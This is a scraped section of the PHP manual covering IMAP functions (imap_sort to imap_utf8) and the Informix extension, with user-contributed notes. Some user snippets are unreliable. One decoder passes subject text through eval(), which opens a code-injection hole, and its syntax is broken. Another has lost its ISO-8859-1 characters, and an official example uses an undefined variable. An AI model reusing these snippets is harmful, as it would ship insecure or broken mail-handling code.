14-Oct-2000 03:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au
14-Jan-2000 02:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
   $id = substr($headers[$x],5,4);
   imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.
add a note add a note

后退 | 起点 | 前进
imap_setacl | 上一级 | imap_sort


imap_sort

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_sort -- Sort an array of message headers

Description

array imap_sort ( resource stream, int criteria, int reverse [, int options [, string search_criteria [, string charset]]] )

Returns an array of message numbers sorted by the given parameters.

Reverse is 1 for reverse-sorting.

Criteria can be one (and only one) of the following:

  • SORTDATE - message Date

  • SORTARRIVAL - arrival date

  • SORTFROM - mailbox in first From address

  • SORTSUBJECT - message subject

  • SORTTO - mailbox in first To address

  • SORTCC - mailbox in first cc address

  • SORTSIZE - size of message in octets

The flags are a bitmask of one or more of the following:

  • SE_UID - Return UIDs instead of sequence numbers

  • SE_NOPREFETCH - Don't prefetch searched messages

Parameter charset was added in PHP 4.3.3.

add a note add a note User Contributed Notes
antoine dot spam-nono at maxg dot info
09-Feb-2006 11:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com
08-May-2005 12:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
       if ($criteria!=SORTSUBJECT)
               return (imap_sort($stream,$criteria,$reverse,$options));

       $unsorted = array();
       $sortresult = array();

       $MC=imap_check($stream);
       $MN=$MC->Nmsgs;

       $overview = imap_fetch_overview($stream,"1:$MN",0);
       $k=0;
       while( list($key,$val) = each($overview))
       {
               $unsorted[$k]["uid"]=$val->uid;
               $unsorted[$k]["subject"]=imap_utf8($val->subject);
               $k++;
       }
       usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

       for ($m=0;$m<count($unsorted);$m++)
               array_push($sortresult,$unsorted[$m]["uid"]);

       if ($reverse)
               $sortresult = array_reverse($sortresult);

       return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
   echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com
07-May-2005 06:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
       if ($criteria!=SORTSUBJECT)
               return (imap_sort($stream,$criteria,$reverse,$options));

       $unsorted = array();
       $sortresult = array();

       $MC=imap_check($stream);
       $MN=$MC->Nmsgs;

       $overview = imap_fetch_overview($stream,"1:$MN",0);
       $k=0;
       while( list($key,$val) = each($overview))
       {
               $unsorted[$k]["uid"]=$val->uid;
               $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
               $k++;
       }
       usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

       for ($m=0;$m<count($unsorted);$m++)
               array_push($sortresult,$unsorted[$m]["uid"]);

       if ($reverse)
               $sortresult = array_reverse($sortresult);

       return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com
22-Mar-2005 06:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
   return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com
28-Apr-2004 12:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br
22-Nov-2002 05:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk
19-Feb-2002 05:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
   $searchhash = array();
   $returnresults = array();
   $count = 0;
   for ($i = 0; $i < sizeof($searchresults); $i++) {
       $searchhash[$searchresults[$i]] = true;
   }
   for ($i = 0; $i < sizeof($sortresults); $i++) {
       if (@$searchhash[$sortresults[$i]]) {
           $returnresults[$count] = $sortresults[$i];
           $count++;
       }
   }
   return $returnresults;
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
   $searchresults = imap_search($stream, $search, SE_UID);
   $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.
naryaATtolkiendilDOTcom
10-Jan-2002 12:52
I've discovered while hacking IMP that imap_sort() allow you to define search options :

imap_sort ($stream, $criteria, $reverse, SE_UID, $search);

where $search is an imap_search() query.
ks@edv
07-Oct-2000 06:18
just finished:
include('imappop3.php');
$mbox=imap_open($mailbox,$username,$password) or die('keine Verbindung!');
//sortiert reverse nach Gre und liefert UIDs
$sorted_array=imap_sort($mbox,SORTSIZE,1,SE_UID);
$mail=imap_fetchstructure($mbox,next($sorted_array),FT_UID);
echo $mail->bytes.'<br>';
$mail=imap_fetchstructure($mbox,end($sorted_array),FT_UID);
echo $mail->bytes.'<br>';
if ($err=imap_errors()) print_r($err);
imap_close ($mbox);

outputs the size of the biggest and smallest EMail:
36476
526
add a note add a note

后退 | 起点 | 前进
imap_setflag_full | 上一级 | imap_status


imap_status

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

imap_status -- This function returns status information on a mailbox other than the current one

Description

object imap_status ( resource imap_stream, string mailbox, int options )

This function returns an object containing status information. Valid flags are:

  • SA_MESSAGES - set status->messages to the number of messages in the mailbox

  • SA_RECENT - set status->recent to the number of recent messages in the mailbox

  • SA_UNSEEN - set status->unseen to the number of unseen (new) messages in the mailbox

  • SA_UIDNEXT - set status->uidnext to the next uid to be used in the mailbox

  • SA_UIDVALIDITY - set status->uidvalidity to a constant that changes when uids for the mailbox may no longer be valid

  • SA_ALL - set all of the above

status->flags is also set, which contains a bitmask which can be checked against any of the above constants.

例子 1. imap_status() example

<?php
$mbox = imap_open("{your.imap.host}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$status = imap_status($mbox, "{your.imap.host}INBOX", SA_ALL);
if ($status) {
  echo "Messages:   " . $status->messages    . "<br />\n";
  echo "Recent:     " . $status->recent      . "<br />\n";
  echo "Unseen:     " . $status->unseen      . "<br />\n";
  echo "UIDnext:    " . $status->uidnext     . "<br />\n";
  echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
  echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_sort | 上一级 | imap_subscribe


imap_subscribe

(PHP 3, PHP 4, PHP 5)

imap_subscribe -- Subscribe to a mailbox

Description

bool imap_subscribe ( resource imap_stream, string mbox )

Subscribe to a new mailbox.

如果成功则返回 TRUE，失败则返回 FALSE。

See also: imap_unsubscribe().

add a note add a note User Contributed Notes
ajflorido dot canariastelecom.com
17-Mar-2003 02:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
           print "No ok";
           }
add a note add a note

后退 | 起点 | 前进
imap_status | 上一级 | imap_thread


imap_thread

(PHP 4 >= 4.1.0, PHP 5)

imap_thread -- Returns a tree of threaded message

Description

array imap_thread ( resource stream_id [, int options] )

imap_thread() returns an associative array containing a tree of messages threaded by REFERENCES, or FALSE on error.

Every message in the current mailbox will be represented by three entries in the resulting array:

  • $thread["XX.num"] - current message number

  • $thread["XX.next"]

  • $thread["XX.branch"]

例子 1. imap_thread() Example

<?php

// Here we're outputting the threads of a newsgroup, in HTML

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($thread as $key => $val) {
  $tree = explode('.', $key);
  if ($tree[1] == 'num') {
    $header = imap_headerinfo($nntp, $val);
    echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
  } elseif ($tree[1] == 'branch') {
    echo "\t</li>\n</ul>\n";
  }
}

imap_close($nntp);

?>

add a note add a note User Contributed Notes
mail at moritz-lapp dot de
05-Aug-2004 04:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.
add a note add a note

后退 | 起点 | 前进
imap_subscribe | 上一级 | imap_timeout


imap_timeout

(PHP 4 >= 4.3.3, PHP 5)

imap_timeout -- Set or fetch imap timeout

Description

mixed imap_timeout ( int timeout_type [, int timeout] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
david dot morel at amakuru dot net
17-Nov-2005 11:48
imap_timeout(1, <seconds>) works fine for pop3 connections, but apparently not for pop3s (ssl, port 995) connections, where the default socket timeout still applies.
This applies to php 4.3.10, not tested on other versions.
bwgraham at vt dot edu
13-Mar-2004 02:53
We looked into the source to find out what this function actually does and how to use it. The function overrides the default_socket_timeout setting from your php.ini file

You can retrieve the current timeout length for each timeout type by calling the function as:

  imap_timeout(timeout_type);
     or
  imap_timeout(timeout_type,-1);

You can set the timeout length for any of the timeout types by setting the timeout value to a number of seconds.

  imap_timeout(timeout_type,<number of seconds>);

The timeout types are as follows:

1: Open
2: Read
3: Write
4: Close

It does not appear that the close type has been implemented.
add a note add a note

后退 | 起点 | 前进
imap_thread | 上一级 | imap_uid


imap_uid

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_uid -- This function returns the UID for the given message sequence number

Description

int imap_uid ( resource imap_stream, int msgno )

This function returns the UID for the given message sequence number. An UID is an unique identifier that will not change over time while a message sequence number may change whenever the content of the mailbox changes. This function is the inverse of imap_msgno().

注: This is not supported by POP3 mailboxes.

See also: imap_msgno().

add a note add a note User Contributed Notes
akb at akb dot me dot uk
29-Jan-2005 08:40
Another way of getting a unique id for a message in a pop3 box.
This will not be to everybodies tastes, but hey, it works for me ;-)

<?php
$header = imap_headerinfo($mbox, $nMsgIndex);
$uid = md5(print_r($header,true));
?>
thomas at bytefreak dot de
04-Nov-2002 03:22
RFC1939 defines CRLF for a newline.

you should use code like this:

fputs($fp, "USER ".$account."\r\n");
$buf = fgets($fp, 1024);

fputs($fp, "PASS ".$password."\r\n");
$buf = fgets($fp, 1024);

fputs($fp, "UIDL ".$message_number."\r\n");
$retval=fgets($fp, 1024);

fputs($fp, "QUIT\r\n");

thomas
steve_foley at excite dot com
05-Sep-2002 01:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in
robert dot blanch at hsc dot utah dot edu
17-Jul-2002 10:25
Another way to get the UID without using imap_uid that works with pop3:

$header = imap_headerinfo( $mbox, $msgno );
$UID = $header->message_id;
21-Jun-2002 04:53
For those using a POP3 mailbox, this function, as noted, does not work.

One way around this is to use direct FTP communication with the mail server.  For example, the following function takes a mailbox/password and message sequence number, and from this returns the message UID.

function fetch_UID($account, $password, $message_number)
{
   $retval = 0;
   $fp = fsockopen($POPMAILSERVER, 110);
   if ($fp > 0)
   {
       $buf = fgets($fp, 1024);

       fputs($fp, "USER ".$account."\n");
       $buf = fgets($fp, 1024);

       fputs($fp, "PASS ".$password."\n");
       $buf = fgets($fp, 1024);

       fputs($fp, "UIDL ".$message_number."\n");
       $retval=fgets($fp, 1024);

       fputs($fp, "QUIT\n");
       $buf = fgets($fp,1024);

       fclose($fp);
   }
   return substr($retval,6,30);
}

Note: 110 is the TCP port commonly associated with a POP3 mailbox.  Also the substr() function is used to trim the +OK and the message number from the beginning of the server's response.

I'm sure there are other (better) ways to do this.  But after a fruitless search of the internet, this is what I came up with, and it seems to work for me.
add a note add a note

后退 | 起点 | 前进
imap_timeout | 上一级 | imap_undelete


imap_undelete

(PHP 3, PHP 4, PHP 5)

imap_undelete -- Unmark the message which is marked deleted

Description

bool imap_undelete ( resource imap_stream, int msg_number [, int flags] )

This function removes the deletion flag for a specified message, which is set by imap_delete() or imap_mail_move().

如果成功则返回 TRUE，失败则返回 FALSE。

See also: imap_delete(), and imap_mail_move().

add a note add a note User Contributed Notes
webmaster at thibs dot menloschool dot org
05-Mar-2000 09:03
In PHP 3.0.15, this function suffers from the same 3-arguments-only problem that imap_delete() has.  I've found that adding "NIL" as the third parameter works just fine.
add a note add a note

后退 | 起点 | 前进
imap_uid | 上一级 | imap_unsubscribe


imap_unsubscribe

(PHP 3, PHP 4, PHP 5)

imap_unsubscribe -- Unsubscribe from a mailbox

Description

bool imap_unsubscribe ( string imap_stream, string mbox )

Unsubscribe from a specified mailbox.

如果成功则返回 TRUE，失败则返回 FALSE。

See also: imap_subscribe().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_undelete | 上一级 | imap_utf7_decode


imap_utf7_decode

(PHP 3 >= 3.0.15, PHP 4, PHP 5)

imap_utf7_decode -- Decodes a modified UTF-7 encoded string

Description

string imap_utf7_decode ( string text )

Decodes modified UTF-7 text into ISO-8859-1 string.

Returns a string that is encoded in ISO-8859-1 and consists of the same sequence of characters in text, or FALSE if text contains invalid modified UTF-7 sequence or text contains a character that is not part of ISO-8859-1 character set.

This function is needed to decode mailbox names that contain certain characters which are not in range of printable ASCII characters.

The modified UTF-7 encoding is defined in RFC 2060, section 5.1.3 (original UTF-7 was defined in RFC1642).

See also: imap_utf7_encode().

add a note add a note User Contributed Notes
28-Aug-2002 01:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de
03-Nov-2000 07:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.
add a note add a note

后退 | 起点 | 前进
imap_unsubscribe | 上一级 | imap_utf7_encode


imap_utf7_encode

(PHP 3 >= 3.0.15, PHP 4, PHP 5)

imap_utf7_encode -- Converts ISO-8859-1 string to modified UTF-7 text

Description

string imap_utf7_encode ( string data )

Converts data to modified UTF-7 text. Note that data is expected to be encoded in ISO-8859-1.

This is needed to encode mailbox names that contain certain characters which are not in range of printable ASCII characters.

The modified UTF-7 encoding is defined in RFC 2060, section 5.1.3 (original UTF-7 was defined in RFC1642).

See also: imap_utf7_decode().

add a note add a note User Contributed Notes
02-Nov-2005 07:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br
07-Mar-2005 09:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
   (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
   if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
   }
# change spaces by entropy because mb_convert fail with spaces
   $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
   if($str=mb_convert_encoding($str,"UTF-7")){
       # change characters
           $str=preg_replace("/\+A/","&A",$str);
       # change to spaces again
           $str=preg_replace("/xyxy/"," ",$str);
       # return encoded string
           return $str;
 # else
   }else{
       # print error and return false
           echo "error: is not possible to encode this string '$str'.[".
           imap_last_error().
           "]";
           return false;
   }
}
?>
hartmut at six dot de
16-Mar-2000 02:14
this function was buggy up to php3.0.15 / php4beta4pl1
add a note add a note

后退 | 起点 | 前进
imap_utf7_decode | 上一级 | imap_utf8


imap_utf8

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

imap_utf8 -- Converts MIME-encoded text to UTF-8

Description

string imap_utf8 ( string mime_encoded_text )

Converts the given mime_encoded_text to UTF-8. MIME encoding method and the UTF-8 specification are described in RFC2047 and RFC2044 respectively.

add a note add a note User Contributed Notes
hans at lintoo dot dk
19-Sep-2005 07:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br
15-Feb-2005 04:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
         $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
         eval("\$str='".
                 preg_replace($pat,$cha."'$1')).'",$str)
                 ."';");
       # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
aperez at informatica dot 24ruedas dot com
12-Jun-2004 05:48
Here's my new better function... ;)

function decode_ISO88591($string)
{
  $string=str_replace("=?iso-8859-1?q?","",$string);
  $string=str_replace("=?iso-8859-1?Q?","",$string);
  $string=str_replace("?=","",$string);

  $charHex=array("0","1","2","3","4","5","6","7",
                 "8","9","A","B","C","D","E","F");

  for($z=0;$z<sizeof($charHex);$z++)
  {
   for($i=0;$i<sizeof($charHex);$i++)
   {
     $string=str_replace(("=".($charHex[$z].$charHex[$i])),
                         chr(hexdec($charHex[$z].$charHex[$i])),
                         $string);
   }
  }
  return($string);
}

Hope this helps. :)
aperez at informatica dot 24ruedas dot com
11-Jun-2004 03:05
I got issues decoding strings with spanish characters. I found encodeISO88591() function at this manual as an user note.

After having problems with imap_utf8() and utf8_decode(), I've decided create a function decodeISO88591() for decoding strings encoded with encodeISO88591().

Here's the code(I've translated remarks and variable and array names from spanish to english for better understanding):

function encodeISO88591($string)
{
  // ISO-8859-1 string header
  $stringISO = "=?iso-8859-1?q?";

  // Each character are encoded('equal-to' symbol + hexadecimal value from ASCII code)
  for($i=0;$i<strlen($string);$i++)
  {
   // Basic ASCII characters are not encoded
   if(ord(substr($string,$i,1))<1 || ord(substr($string,$i,1))>127)
   {
     $char = ord($string[$i]);
     $char = strtoupper(dechex($char));
     $stringISO.="=".$char;
   }
   else
   {
     $stringISO.=substr($string,$i,1);
   }
  }

  // ISO-8859-1 string footer
  $stringISO.="?= ";

  return($stringISO);
}

// And this is my function decodeISO88591()

function decodeISO88591($string)
{
  // Arrays for obtaining hexadecimal values
  // for each ISO-8859-1 charset
  $mAlfa=array("A","B","C","D","E","F");
  $mNum=array();
  for($n=0;$n<10;$n++)
  {
   $mNum[]=$n;
  }

  // ISO-8859-1 charset
  $iso88591=array(" ","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","","",
                         "","","","","","",
                         "","","","","","",
                         "","","","","","","",
                         "","","","","","","",
                         "","","","","","","","",
                         "","","","","","","",
                         "","","","","","","");
  // Hexadecimal values array
  for($a=0;$a<sizeof($mAlfa);$a++)
  {
   for($n=0;$n<sizeof($mNum);$n++)
   {
     $mHex[]=$mAlfa[$a].$mNum[$n];
   }
   for($a2=0;$a2<sizeof($mAlfa);$a2++)
   {
     $mHex[]=$mAlfa[$a].$mAlfa[$a2];
   }
  }

  // ISO-8859-1 string header and footer are deleted
  $string=str_replace("=?iso-8859-1?q?","",$string);
  $string=str_replace("?= ","",$string);

  // Encoded values are decoded
  for($h=0;$h<sizeof($mHex);$h++)
  {
   $string=str_replace(("=".$mHex[$h]),$iso88591[$h],$string);
  }

  return($string);
}

I hope this helps somebody. :)
mogster_at_boomdesign.no
31-Oct-2002 07:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)
add a note add a note

后退 | 起点 | 前进
imap_utf7_encode | 上一级 | Informix Functions


Informix Functions

PHP 手册
后退 前进

LVII. Informix Functions

简介

The Informix driver for Informix (IDS) 7.x, SE 7.x, Universal Server (IUS) 9.x and IDS 2000 is implemented in "ifx.ec" and "php3_ifx.h" in the informix extension directory. IDS 7.x support is fairly complete, with full support for BYTE and TEXT columns. IUS 9.x support is partly finished: the new data types are there, but SLOB and CLOB support is still under construction.

需求

Configuration notes: You need a version of ESQL/C to compile the PHP Informix driver. ESQL/C versions from 7.2x on should be OK. ESQL/C is now part of the Informix Client SDK.

Make sure that the "INFORMIXDIR" variable has been set, and that $INFORMIXDIR/bin is in your PATH before you run the "configure" script.

安装

To be able to use the functions defined in this module you must compile your PHP interpreter using the configure line --with-informix[=DIR], where DIR is the Informix base install directory, defaults to nothing.

运行时配置

这些函数的行为受 php.ini 的影响。

注: Make sure that the Informix environment variables INFORMIXDIR and INFORMIXSERVER are available to the PHP ifx driver, and that the INFORMIX bin directory is in the PATH. Check this by running a script that contains a call to phpinfo() before you start testing. The phpinfo() output should list these environment variables. This is true for both CGI php and Apache mod_php. You may have to set these environment variables in your Apache startup script.

The Informix shared libraries should also be available to the loader (check LD_LIBRARY_PATH or ld.so.conf/ldconfig).

Some notes on the use of BLOBs (TEXT and BYTE columns): BLOBs are normally addressed by BLOB identifiers. Select queries return a "blob id" for every BYTE and TEXT column. You can get at the contents with "string_var = ifx_get_blob($blob_id);" if you choose to get the BLOBs in memory (with: "ifx_blobinfile(0);"). If you prefer to receive the content of BLOB columns in a file, use "ifx_blobinfile(1);", and "ifx_get_blob($blob_id);" will get you the filename. Use normal file I/O to get at the blob contents.

For insert/update queries you must create these "blob id's" yourself with "ifx_create_blob();". You then plug the blob id's into an array, and replace the blob columns with a question mark (?) in the query string. For updates/inserts, you are responsible for setting the blob contents with ifx_update_blob().

The behaviour of BLOB columns can be altered by configuration variables that also can be set at runtime:

configuration variable: ifx.textasvarchar

configuration variable: ifx.byteasvarchar

runtime functions:

ifx_textasvarchar(0): use blob id's for select queries with TEXT columns

ifx_byteasvarchar(0): use blob id's for select queries with BYTE columns

ifx_textasvarchar(1): return TEXT columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

ifx_byteasvarchar(1): return BYTE columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

configuration variable: ifx.blobinfile

runtime function:

ifx_blobinfile_mode(0): return BYTE columns in memory, the blob id lets you get at the contents.

ifx_blobinfile_mode(1): return BYTE columns in a file, the blob id lets you get at the file name.

If you set ifx_text/byteasvarchar to 1, you can use TEXT and BYTE columns in select queries just like normal (but rather long) VARCHAR fields. Since all strings are "counted" in PHP, this remains "binary safe". It is up to you to handle this correctly. The returned data can contain anything, you are responsible for the contents.

If you set ifx_blobinfile to 1, use the file name returned by ifx_get_blob(..) to get at the blob contents. Note that in this case YOU ARE RESPONSIBLE FOR DELETING THE TEMPORARY FILES CREATED BY INFORMIX when fetching the row. Every new row fetched will create new temporary files for every BYTE column.

The location of the temporary files can be influenced by the environment variable "blobdir", default is "." (the current directory). Something like: putenv(blobdir=tmpblob"); will ease the cleaning up of temp files accidentally left behind (their names all start with "blb").

Automatically trimming "char" (SQLCHAR and SQLNCHAR) data: This can be set with the configuration variable

ifx.charasvarchar: if set to 1 trailing spaces will be automatically trimmed, to save you some "chopping".

NULL values: The configuration variable ifx.nullformat (and the runtime function ifx_nullformat()) when set to TRUE will return NULL columns as the string "NULL", when set to FALSE they return the empty string. This allows you to discriminate between NULL columns and empty columns.

表格 1. Informix configuration options

Name | Default | Changeable | Changelog
ifx.allow_persistent | "1" | PHP_INI_SYSTEM |
ifx.max_persistent | "-1" | PHP_INI_SYSTEM |
ifx.max_links | "-1" | PHP_INI_SYSTEM |
ifx.default_host | NULL | PHP_INI_SYSTEM |
ifx.default_user | NULL | PHP_INI_SYSTEM |
ifx.default_password | NULL | PHP_INI_SYSTEM |
ifx.blobinfile | "1" | PHP_INI_ALL |
ifx.textasvarchar | "0" | PHP_INI_ALL |
ifx.byteasvarchar | "0" | PHP_INI_ALL |
ifx.charasvarchar | "0" | PHP_INI_ALL |
ifx.nullformat | "0" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

ifx.allow_persistent boolean

Whether to allow persistent Informix connections.

ifx.max_persistent integer

The maximum number of persistent Informix connections per process.

ifx.max_links integer

The maximum number of Informix connections per process, including persistent connections.

ifx.default_host string

The default host to connect to when no host is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in 安全模式.

ifx.default_user string

The default user id to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in 安全模式.

ifx.default_password string

The default password to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in 安全模式.

ifx.blobinfile boolean

Set to TRUE if you want to return blob columns in a file, FALSE if you want them in memory. You can override the setting at runtime with ifx_blobinfile_mode().

ifx.textasvarchar boolean

Set to TRUE if you want to return TEXT columns as normal strings in select statements, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.byteasvarchar boolean

Set to TRUE if you want to return BYTE columns as normal strings in select queries, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.charasvarchar boolean

Set to TRUE if you want to trim trailing spaces from CHAR columns when fetching them.

ifx.nullformat boolean

Set to TRUE if you want to return NULL columns as the literal string "NULL", FALSE if you want them returned as the empty string "". You can override this setting at runtime with ifx_nullformat().

资源类型

预定义常量

本扩展模块未定义任何常量。

目录
ifx_affected_rows -- Get number of rows affected by a query
ifx_blobinfile_mode -- Set the default blob mode for all select queries
ifx_byteasvarchar -- Set the default byte mode
ifx_close -- Close Informix connection
ifx_connect -- Open Informix server connection
ifx_copy_blob -- Duplicates the given blob object
ifx_create_blob -- Creates an blob object
ifx_create_char -- Creates an char object
ifx_do -- Execute a previously prepared SQL-statement
ifx_error -- Returns error code of last Informix call
ifx_errormsg -- Returns error message of last Informix call
ifx_fetch_row -- Get row as enumerated array
ifx_fieldproperties -- List of SQL fieldproperties
ifx_fieldtypes -- List of Informix SQL fields
ifx_free_blob -- Deletes the blob object
ifx_free_char -- Deletes the char object
ifx_free_result -- Releases resources for the query
ifx_get_blob -- Return the content of a blob object
ifx_get_char -- Return the content of the char object
ifx_getsqlca -- Get the contents of sqlca.sqlerrd[0..5] after a query
ifx_htmltbl_result -- Formats all rows of a query into a HTML table
ifx_nullformat -- Sets the default return value on a fetch row
ifx_num_fields -- Returns the number of columns in the query
ifx_num_rows -- Count the rows already fetched from a query
ifx_pconnect -- Open persistent Informix connection
ifx_prepare -- Prepare an SQL-statement for execution
ifx_query -- Send Informix query
ifx_textasvarchar -- Set the default text mode
ifx_update_blob -- Updates the content of the blob object
ifx_update_char -- Updates the content of the char object
ifxus_close_slob -- Deletes the slob object
ifxus_create_slob -- Creates an slob object and opens it
ifxus_free_slob -- Deletes the slob object
ifxus_open_slob -- Opens an slob object
ifxus_read_slob -- Reads nbytes of the slob object
ifxus_seek_slob -- Sets the current file or seek position
ifxus_tell_slob -- Returns the current file or seek position
ifxus_write_slob -- Writes a string into the slob object

add a note add a note User Contributed Notes
Ian McMurray
16-Apr-2005 04:02
Installation on RedHat Fedore Core (or in that matter any Linux OS which has a version of glibc  of 2.3.* ~or above~) will need to have the latest Informix CSDK (downloadable from IBM). 2.90.UC1.LINUX at the time of this post.

http://www-306.ibm.com/software/data/informix/tools/connect/

